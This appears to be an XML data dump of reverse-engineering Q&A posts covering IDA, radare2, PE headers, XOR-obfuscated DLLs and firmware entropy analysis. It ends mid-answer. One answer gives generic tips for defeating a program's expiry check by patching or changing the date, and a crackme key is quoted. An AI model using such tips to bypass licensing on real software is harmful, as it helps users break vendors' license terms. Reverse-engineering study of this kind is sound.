  <row Id="14802" PostTypeId="2" ParentId="14762" CreationDate="2017-03-03T04:45:35.837" Score="4" Body="&lt;p&gt;I think the solution is a very simple one, with one small tweak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To decrypt the file,&#xA;&lt;strong&gt;XOR&lt;/strong&gt; the encrypted data with the bytes &lt;code&gt;0xFCC6DC7FDCC7DFE0&lt;/code&gt; and you will get the unencrypted file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this pattern by looking at the encrypted file and a valid dll.  You can see a repeating pattern that is easy to pick out if you find areas that are supposed to be all 0's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the encrypted files have a 16-byte header that is likely&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    4-byte     file-signature  (0x0b25c4fa)&#xA;    4-byte     file size&#xA;    4-byte     file size (duplicated ?)&#xA;    4-byte     flag?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The rest of the file is the encrypted file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With one small difference .. at least the first 2 bytes of the unencrypted file is mangled somehow to obscure it further.  For a dll, start by setting the first 2 bytes to &lt;code&gt;0x4D5A&lt;/code&gt;, that should get it recognized by some tools such as 010Editor.  You may have to play with the DOS_HEADER (the first 64 bytes of a dll) structure to see if it makes sense.&lt;/p&gt;&#xA;" OwnerUserId="2741" LastActivityDate="2017-03-03T04:45:35.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14803" PostTypeId="2" ParentId="14795" CreationDate="2017-03-03T06:51:05.777" Score="6" Body="&lt;p&gt;You could create a &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/500.shtml&quot; rel=&quot;noreferrer&quot;&gt;bitfield enum&lt;/a&gt;. Since the enum containing &lt;code&gt;PROCESS_VM_READ&lt;/code&gt; already exists in the MSSDK type library, we are going to copy that and modify it to become a bitfield.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the enums subview, then right click and &lt;strong&gt;Add enum...&lt;/strong&gt; (press &lt;kbd&gt;Insert&lt;/kbd&gt; on Windows).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XX7h8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;strong&gt;Add standard enum by symbol name&lt;/strong&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/j3goo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find &lt;code&gt;PROCESS_VM_READ&lt;/code&gt;, then click &lt;strong&gt;OK&lt;/strong&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/I7Zvl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A new enum called &lt;code&gt;MACRO_PROCESS&lt;/code&gt; should be added. Expand it (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Numpad +&lt;/kbd&gt; or right click → &lt;strong&gt;Unhide&lt;/strong&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the enum member &lt;code&gt;PROCESS_ALL_ACCESS&lt;/code&gt; (press &lt;kbd&gt;U&lt;/kbd&gt; when selecting it).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/07xY0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right click and choose &lt;strong&gt;Edit enum...&lt;/strong&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check &lt;strong&gt;Bitfield&lt;/strong&gt;, then click &lt;strong&gt;OK&lt;/strong&gt;. (This step will fail if you don't perform step 5)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Oplkv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now the MACRO_PROCESS bitfield should appear when you hit &lt;kbd&gt;M&lt;/kbd&gt; on 410h, and should appear as something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, PROCESS_VM_READ or PROCESS_QUERY_INFORMATION&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16021" LastActivityDate="2017-03-03T06:51:05.777" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14804" PostTypeId="2" ParentId="14482" CreationDate="2017-03-03T13:31:03.533" Score="1" Body="&lt;p&gt;Yes you can. Original post is &lt;a href=&quot;https://twitter.com/VinePhilly/status/823649890379120640&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explication :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your link : &lt;code&gt;https://twitter.com/i/videos/823649890379120640?embed_source=facebook&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see a JSON with some informations.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;&quot;statusTimestamp&quot;:{&quot;local&quot;:&quot;21:53 - 23 janv. 2017&quot;}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&quot;user&quot;:{&quot;screen_name&quot;:&quot;VinePhilly&quot; ...}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&quot;tweet_id&quot;:&quot;823649890379120640&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So you can access to the profile of the owner with &lt;code&gt;https://twitter.com/VinePhilly&lt;/code&gt; and craft the url to access the original post with &lt;code&gt;https://twitter.com/VinePhilly/status/823649890379120640&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pattern is:&lt;/strong&gt; &lt;a href=&quot;https://twitter.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://twitter.com/&lt;/a&gt;&lt;em&gt;user&lt;/em&gt;/status/&lt;em&gt;tweet_id&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="19365" LastActivityDate="2017-03-03T13:31:03.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14805" PostTypeId="5" CreationDate="2017-03-03T13:33:23.323" Score="0" Body="" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-03-03T13:33:23.323" LastActivityDate="2017-03-03T13:33:23.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14806" PostTypeId="4" CreationDate="2017-03-03T13:33:23.323" Score="0" Body="C166 is a family of 16-bit microcontrollers from Infineon (previously Siemens), often used in automotive applications such as ECUs." OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-03-03T13:33:23.323" LastActivityDate="2017-03-03T13:33:23.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14807" PostTypeId="5" CreationDate="2017-03-03T14:06:17.267" Score="0" Body="" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-03-03T14:06:17.267" LastActivityDate="2017-03-03T14:06:17.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14808" PostTypeId="4" CreationDate="2017-03-03T14:06:17.267" Score="0" Body="Portable Document Format, a document format from Adobe with a pretty complex file format which makes it susceptible to frequent vulnerabilities." OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-03-03T14:06:17.267" LastActivityDate="2017-03-03T14:06:17.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14809" PostTypeId="2" ParentId="14794" CreationDate="2017-03-03T14:23:59.427" Score="2" Body="&lt;p&gt;ELF files can be debugged using IDA debugger if you have the same CPU and OS that were used to build them, installed locally or have them in a remote machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you don't, you're still able to debug the file but only if the compiler have debugging data in  &lt;a href=&quot;https://en.m.wikipedia.org/wiki/DWARF&quot; rel=&quot;nofollow noreferrer&quot;&gt;DWARF&lt;/a&gt; standard included in the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option that SVS suggest me, is to set up an emulator with OS and Arctitecture you need trace the file over there which is a good practical way I believe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not all ELF files have DWARF debugging data. Particularly, those that are not suppose to be reverse engineered.&lt;/p&gt;&#xA;" OwnerUserId="19355" LastEditorUserId="19355" LastEditDate="2017-03-15T13:24:13.020" LastActivityDate="2017-03-15T13:24:13.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14810" PostTypeId="1" CreationDate="2017-03-03T14:29:43.497" Score="1" ViewCount="713" Body="&lt;p&gt;Do you know any free tool for binary manipulation elf file on ARM, something like ERESI elfsh for Intel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Purpose - adding instructions into existing binary elf file.&lt;/p&gt;&#xA;" OwnerUserId="19367" LastActivityDate="2017-03-03T14:29:43.497" Title="Elf binary manipulation tool on ARM" Tags="|arm|elf|binary|" AnswerCount="0" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14814" PostTypeId="1" CreationDate="2017-03-03T18:33:43.667" Score="0" ViewCount="1008" Body="&lt;p&gt;I'm using IDA PRO to disassemble a function, which produces a control flow that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start_IE proc near&#xA;&#xA;Buffer= dword ptr -230h&#xA;var_22C= byte ptr -22Ch&#xA;hFile= dword ptr -30h&#xA;hInternet= dword ptr -2Ch&#xA;szAgent= byte ptr -28h&#xA;dwNumberOfBytesRead= dword ptr -8&#xA;var_4= dword ptr -4&#xA;arg_0= dword ptr  8&#xA;&#xA;;Do stuff that has nothing to do with ebp+var22C&#xA;&#xA;mov     al, [ebp+var_22C]&#xA;jmp     short return&#xA;&#xA;return:&#xA;mov     esp, ebp&#xA;pop     ebp&#xA;retn&#xA;start_IE endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've cut out a lot of irrelevant code, but &lt;em&gt;the only 2 times that var_22C appears in this procedure has been shown above&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a difficult time finding out what value the data pointed to by var_22C will be since it's given no obvious assignment here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code before/after the function call in the caller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     ecx, [ebp+var_C]&#xA;push    ecx             ; command char&#xA;call    start_IE&#xA;add     esp, 4&#xA;mov     [ebp+var_8], al&#xA;movsx   edx, [ebp+var_8]&#xA;test    edx, edx&#xA;jnz     short success&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It only has 1 argument passed to it, which should be &lt;code&gt;arg_0&lt;/code&gt;... We see that the return value from Var_22C is placed into &lt;code&gt;[ebp+var_8]&lt;/code&gt; back in the caller afterwards.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2017-03-03T18:48:49.620" LastActivityDate="2017-03-06T20:18:35.043" Title="How does this local var get assigned?" Tags="|ida|stack-variables|local-variables|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14815" PostTypeId="1" AcceptedAnswerId="14830" CreationDate="2017-03-03T20:17:38.597" Score="4" ViewCount="5432" Body="&lt;p&gt;I have undefined a block of code and I want to manually reconstruct this block by iterating over the area while decoding undefined bytes and calling &lt;code&gt;idc.MakeCode&lt;/code&gt; for each instruction separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have disabled auto-analysis, but calling MakeCode on the head of the block causes the entire block to be converted to code. I can't find anything in IDA Python / IDC to do this that isn't a hook. Is there an analysis flag I need to set in order to prevent this behavior?&lt;/p&gt;&#xA;" OwnerUserId="19076" LastEditorUserId="2147" LastEditDate="2017-03-05T09:05:08.840" LastActivityDate="2018-07-10T19:38:09.413" Title="How can I call IDA Pro's MakeCode for one instruction at a time?" Tags="|ida|idapython|ida-plugin|idapro-sdk|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14816" PostTypeId="1" AcceptedAnswerId="14819" CreationDate="2017-03-03T20:26:13.313" Score="-1" ViewCount="1095" Body="&lt;p&gt;I am starting with reverse engineering/cracking with advanced knowledge about programming and functioning of the operating system and I saw a whole series of lena151 Lenas Reversing for Newbies but I have a problem I do not know how I should properly begin cracking windowed crackmes without using call stack and finding text strings. For example I have ollydbg and Pulsar Crackme (Level 0) (&lt;a href=&quot;https://uloz.to/!CsZzoI6kT9zF/crackme-exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://uloz.to/!CsZzoI6kT9zF/crackme-exe&lt;/a&gt;) I have already cracked, and several other, (key is  PuL-sAr-001) but I crack him only because I accidentally found badboy/goodboy but it can not crack it using another method (in more complicated crackmes it is big problem). Is there any tutorial where this is explained ? And what method you use which may also be used in the analysis viruses ? &lt;/p&gt;&#xA;" OwnerUserId="19373" LastActivityDate="2017-03-04T08:52:55.917" Title="How to crack windowed crackmes?" Tags="|ollydbg|crackme|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14818" PostTypeId="2" ParentId="14756" CreationDate="2017-03-04T05:02:11.060" Score="1" Body="&lt;p&gt;Renogy just solved the entire problem for me.  They finally finished up their own software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of sniffing RS485 they now have a USB cable and &lt;a href=&quot;https://www.renogy.com/learn#tab_downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;software&lt;/a&gt; that gives finer control over their controller.&lt;/p&gt;&#xA;" OwnerUserId="18580" LastActivityDate="2017-03-04T05:02:11.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14819" PostTypeId="2" ParentId="14816" CreationDate="2017-03-04T08:52:55.917" Score="1" Body="&lt;p&gt;There are many ways to go about changing the behavior of programs. For example, if you have a program that checks for the date and time in order to decide if the product is expired, you could: a. change the system date and time to temporarily &quot;crack&quot; the program or b. patch the system call that checks for the date and time to return an acceptable value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also patch the kernel (which is probably unsuitable for a check like this, as it will affect the whole system) or simply find the check in the executable and change the code to jump it , or just remove it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're doing is trying to reverse engineer an application and change it to do what you want. This requires knowledge in general and specific areas, dependening on what kind of program you're trying to reverse engineer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a few a practical leads on how you could achieve what you're trying to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use a tool like Regshot to compare changes in the registry&lt;/li&gt;&#xA;&lt;li&gt;Use a tool like Program monitor from SystemInternals to find out what the program is doing&lt;/li&gt;&#xA;&lt;li&gt;Place breakpoints on all suspect system calls&lt;/li&gt;&#xA;&lt;li&gt;With complex applications, once you find a starting point you may need to reverse engineer the assembly code to understand what it's doing&lt;/li&gt;&#xA;&lt;li&gt;You can use Radare2/ IDA to statically analyze (or actively debug) the program and rename methods until you reach an understanding of what must be done to achieve your goal.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you're interested in learning how to reverse engineer applications there are many books on this subject that you can look for and read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a list of (some of the) things you'd need to know:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Understand the OS you're working in&lt;/li&gt;&#xA;&lt;li&gt;Knowledge of (several) programming languages&lt;/li&gt;&#xA;&lt;li&gt;Understand the PE/ELF file formats (or any other format you'd want to reverse engineer)&lt;/li&gt;&#xA;&lt;li&gt;Understanding Assembly language&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Needless to say, reverse engineering may be illegal in your location, or on specific products (see EULA), so make sure that you're not doing anything that you are not allowed to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="19359" LastActivityDate="2017-03-04T08:52:55.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14820" PostTypeId="1" CreationDate="2017-03-04T12:29:53.563" Score="0" ViewCount="327" Body="&lt;p&gt;What are some tricks or methods to reverse-engineer &lt;a href=&quot;https://stackoverflow.com/q/8844868/632951&quot;&gt;undocumented and &lt;em&gt;half-documented&lt;/em&gt; Windows cmd commands&lt;/a&gt; such as the &lt;code&gt;findstr&lt;/code&gt;, &lt;code&gt;cd&lt;/code&gt;, &lt;code&gt;dir&lt;/code&gt;, &lt;code&gt;echo&lt;/code&gt;, etc to determine their &lt;em&gt;behavior&lt;/em&gt;? &lt;/p&gt;&#xA;" OwnerUserId="12411" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.117" LastActivityDate="2018-06-08T03:16:37.947" Title="Behavior of undocumented Windows features" Tags="|windows|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14821" PostTypeId="2" ParentId="14553" CreationDate="2017-03-04T14:14:26.160" Score="0" Body="&lt;p&gt;The header IP of MSEXE file compiled by C/C++ point to the language runtime initial code that will call main function later. So if you wanna find out the main, you need trace it or read the crt code in clib or src file.&lt;/p&gt;&#xA;" OwnerUserId="18738" LastEditorUserId="245" LastEditDate="2017-03-08T08:50:43.287" LastActivityDate="2017-03-08T08:50:43.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14823" PostTypeId="1" AcceptedAnswerId="14825" CreationDate="2017-03-04T14:58:19.283" Score="1" ViewCount="6441" Body="&lt;p&gt;It sounds like a stupid question but I honestly can't find the answer... I've looked at &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://radare.gitbooks.io/radare2book/content/&lt;/a&gt; and googled for hours but it still eludes me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I modify the memory in radare2? I know if I want to modify a register value I can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dr eax = 0xA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what about modifying a value in the stack or the heap at a specific address?&lt;/p&gt;&#xA;" OwnerUserId="19378" LastActivityDate="2020-07-09T08:41:44.853" Title="Editing memory in radare2" Tags="|disassembly|memory|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14825" PostTypeId="2" ParentId="14823" CreationDate="2017-03-04T18:57:21.977" Score="2" Body="&lt;p&gt;Take a look at the &quot;write&quot; section here &lt;a href=&quot;https://github.com/pwntester/cheatsheets/blob/master/radare2.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/pwntester/cheatsheets/blob/master/radare2.md&lt;/a&gt; or use &lt;code&gt;w?&lt;/code&gt; to get help on the write commands.&lt;/p&gt;&#xA;" OwnerUserId="18769" LastActivityDate="2017-03-04T18:57:21.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14827" PostTypeId="1" CreationDate="2017-03-05T01:15:24.713" Score="10" ViewCount="13854" Body="&lt;p&gt;Kind of a simple question. How does a program like IDA locate the entry point of an exe? If I wanted to, could i find this with just a hex editor manually?&lt;/p&gt;&#xA;" OwnerUserId="19383" LastActivityDate="2022-12-11T20:32:36.923" Title="How to find entry point in .exe?" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14828" PostTypeId="2" ParentId="14820" CreationDate="2017-03-05T08:17:21.207" Score="2" Body="&lt;p&gt;If by &quot;features&quot; you mean windows' &lt;code&gt;cmd.exe&lt;/code&gt; built-in tools and utility commands, there's no way other than reverse engineering &lt;code&gt;cmd.exe&lt;/code&gt; like any other software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding it's input processing function would be the first step, then followed by finding the parts handling the specific commands you're interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only &quot;tip&quot; I can offer is using windows symbols server when available (IDA will automatically ask you if you'd like to use it if symbols are available), though it binds you to an EULA.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-06-08T02:43:37.003" LastActivityDate="2018-06-08T02:43:37.003" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="14829" PostTypeId="2" ParentId="14827" CreationDate="2017-03-05T08:36:07.583" Score="7" Body="&lt;p&gt;The entry point is defined in the PE header. The full docs for its layout can be found here &lt;a href=&quot;https://learn.microsoft.com/en-us/previous-versions/ms809762(v=msdn.10)&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/ms809762.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The field is &lt;code&gt;DWORD AddressOfEntryPoint&lt;/code&gt;. So you would have to work out the offset of this value from the start of the header based on the size of the preceding fields to find it in a hex editor&lt;/p&gt;&#xA;" OwnerUserId="18769" LastEditorUserId="245" LastEditDate="2022-12-11T20:32:36.923" LastActivityDate="2022-12-11T20:32:36.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14830" PostTypeId="2" ParentId="14815" CreationDate="2017-03-05T08:48:39.380" Score="3" Body="&lt;p&gt;This is a bit of a tricky question, because &lt;em&gt;technically&lt;/em&gt; &lt;code&gt;MakeCode&lt;/code&gt; is not what causing the rest of the code to be analyzed as code. A hint for that can be the fact that &lt;code&gt;MakeCode&lt;/code&gt; actually returns the length of the current instruction. It is only later that additional following bytes are being converted to code (if possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thing is, that for IDA to do what IDA is good at (that is, successfully disassembling large code bases) it has it's own background code analyzer. That Code Analyzer is in charge of orchestrating high level disassembly operations such as figuring out where functions start, make sure all functions are analyzed, handle overlapping code to the best of it's ability, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the features of IDA's Code Analyzer is the code analysis stack. That stack contains &quot;leads&quot; to additional unexplored code and hints towards where additional assembly code might be found. While &lt;code&gt;idc.MakeCode&lt;/code&gt; indeed only converts a single instruction to code, it registers the end of that instruction with the Code Analyzer, which then proceeds to analyze and convert the rest of the binary to code (as long as valid instructions are found).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable the auto analysis running in the background hit the &quot;Options&quot; menu and the &quot;General&quot; function in it. In the dialog select the &quot;Analysis&quot; tab and &lt;em&gt;uncheck&lt;/em&gt; the checkbox labeled &quot;Enabled&quot; to the left, as shown in the following picture&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dERY4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dERY4.png&quot; alt=&quot;Disable autoanalysis&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fun fact: You can call &lt;code&gt;idaapi.analyzer_options()&lt;/code&gt; to show that dialog. You'll still need to uncheck the checkbox and hit the &quot;Ok&quot; button. Unfortunately it seems there's no API for that.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-03-05T08:54:08.480" LastActivityDate="2017-03-05T08:54:08.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14831" PostTypeId="2" ParentId="14539" CreationDate="2017-03-05T09:37:50.803" Score="8" Body="&lt;p&gt;Finding: &lt;code&gt;NGA_FW_CURRENT.BIN&lt;/code&gt; is a compressed &lt;a href=&quot;https://videx.com/&quot; rel=&quot;noreferrer&quot;&gt;Videx&lt;/a&gt; microchip firmware image file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Preliminary Remarks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is conflicting background information given in the comments about the file alleged to be firmware in the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A gzip compressed data file called &lt;code&gt;authorizer.tar.gz&lt;/code&gt; located at &lt;a href=&quot;https://70.60.240.178:8443/CyberAuditWeb/services/nga/download/&quot; rel=&quot;noreferrer&quot;&gt;https://70.60.240.178:8443/CyberAuditWeb/services/nga/download/&lt;/a&gt; under the header &quot;Web Authorizer&quot; from a link called &quot;NGA software&quot; contains a file called &lt;code&gt;NGA_FW_CURRENT.BIN&lt;/code&gt;. This file is different from the file called &lt;code&gt;firmware.BIN&lt;/code&gt;  found at &lt;a href=&quot;http://s000.tinyupload.com/?file_id=33872947945158763451&quot; rel=&quot;noreferrer&quot;&gt;http://s000.tinyupload.com/?file_id=33872947945158763451&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is this second file, &lt;code&gt;firmware.BIN&lt;/code&gt;, that &lt;code&gt;binwalk&lt;/code&gt; is run against in the image in the question. The source of &lt;code&gt;firmware.BIN&lt;/code&gt; is unknown, since information about a different file, &lt;code&gt;NGA_FW_CURRENT.BIN&lt;/code&gt; was given instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diffing these two files shows that they may be related, as they are the same size of 61445 bytes and have similar structure:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RaotF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RaotF.png&quot; alt=&quot;diff part 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GNrqf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GNrqf.png&quot; alt=&quot;diff part 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FAYe4.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FAYe4.png&quot; alt=&quot;diff part 3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mQC5T.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mQC5T.png&quot; alt=&quot;diff part 4&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7vsdZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7vsdZ.png&quot; alt=&quot;diff part 5&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of this information may prove useful in subsequent analysis. Since &lt;code&gt;NGA_FW_CURRENT.BIN&lt;/code&gt; is the file at the location stated to be the source, it is this file that will be analyzed further and not &lt;code&gt;firmware.BIN&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Analysis of NGA_FW_CURRENT.BIN&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;binwalk&lt;/code&gt; does not detect any compression signatures in &lt;code&gt;NGA_FW_CURRENT.BIN&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk NGA_FW_CURRENT.BIN&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Entropy analysis, based on the work done by devttys0 in his article &lt;a href=&quot;http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/&quot; rel=&quot;noreferrer&quot;&gt;Differentiate Encryption From Compression Using Math&lt;/a&gt;, suggests that the file is compressed rather than encrypted.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Lower chi values (&amp;lt; 300) with higher pi error (&gt; .03%) are indicative of compression.&lt;/li&gt;&#xA;  &lt;li&gt;Higher chi values (&gt; 300) with lower pi errors (&amp;lt; .03%) are indicative of encryption.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Entropy analysis using &lt;a href=&quot;http://www.fourmilab.ch/random/&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;ent&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ent NGA_FW_CURRENT.BIN&#xA;Entropy = 7.997014 bits per byte.&#xA;&#xA;Optimum compression would reduce the size&#xA;of this 61445 byte file by 0 percent.&#xA;&#xA;Chi square distribution for 61445 samples is 253.82, and randomly&#xA;would exceed this value 50.92 percent of the times.&#xA;&#xA;Arithmetic mean value of data bytes is 127.6737 (127.5 = random).&#xA;Monte Carlo value for Pi is 3.126171875 (error 0.49 percent).&#xA;Serial correlation coefficient is 0.028565 (totally uncorrelated = 0.0).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A chi square distribution of 253.82 and a pi error value of 0.49 percent is within the range expected for compressed 